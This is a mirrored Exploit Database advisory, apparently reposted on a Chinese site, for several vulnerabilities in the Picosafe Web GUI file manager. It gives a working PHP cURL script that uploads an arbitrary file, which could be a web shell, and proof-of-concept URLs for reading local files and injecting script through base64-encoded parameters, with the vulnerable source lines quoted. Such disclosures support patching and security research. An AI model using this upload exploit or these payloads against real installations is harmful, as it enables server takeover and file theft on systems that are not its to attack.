Picosafe Web GUI – Multiple Vulnerabilities

• Exploit Database
• 113 阅读

• 作者： Shahab Shamsi
  日期： 2016-10-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40454/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

  [-] Title: Picosafe Web Gui - Multiple Vulnerabilities [-] Author : Shahab Shamsi [-] Vendor : https://github.com/embeddedprojects/picosafe_webgui [-] Category : Webapps [-] Date : 01.October.2016       Vulnerable page : picosafe_webgui/webinterface/js/filemanager/filemanager.php         ========================== |Remote File Upload : ========================== Vulnerable Source (RFU) : 52: chmod($to, 0755); 48: $to = realpath($curdir) . &apos;/&apos; . $name; 40: function uploadfile($curdir) 46: $name = $_FILES[&apos;files&apos;][&apos;name&apos;][0];   Exploit : <?php $uploadfile="YourFileName"; $ch = curl_init("http://localhost:8282/picosafe_webgui/webinterface/js/filemanager/filemanager.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(&apos;file&apos;=>"@$uploadfile")); curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); print "$result"; ?>   Location : http://localhost:8282/picosafe_webgui/webinterface/js/filemanager/FileName     ========================== |Local File Disclosure : ==========================   Vulnerable Source (LFD) : 17: $file = base64_decode($_GET[&apos;file&apos;]); 18: DownloadFile($file); 111: readfile($file);   POC : http://localhost:8282/picosafe_webgui/webinterface/js/filemanager/filemanager.php?file=base64code-Filename     ========================== |Cross-Site Scripting : ==========================   Vulnerable Source (XSS) : 8: echo json_encode($data); 7: $data = sortfiles($data); 6: $data = listdirectory($directory); 5: $directory = base64_decode($_GET[&apos;directory&apos;]);   POC : http://localhost:8282/picosafe_webgui/webinterface/js/filemanager/filemanager.php?directory=Base64-ScriptingCode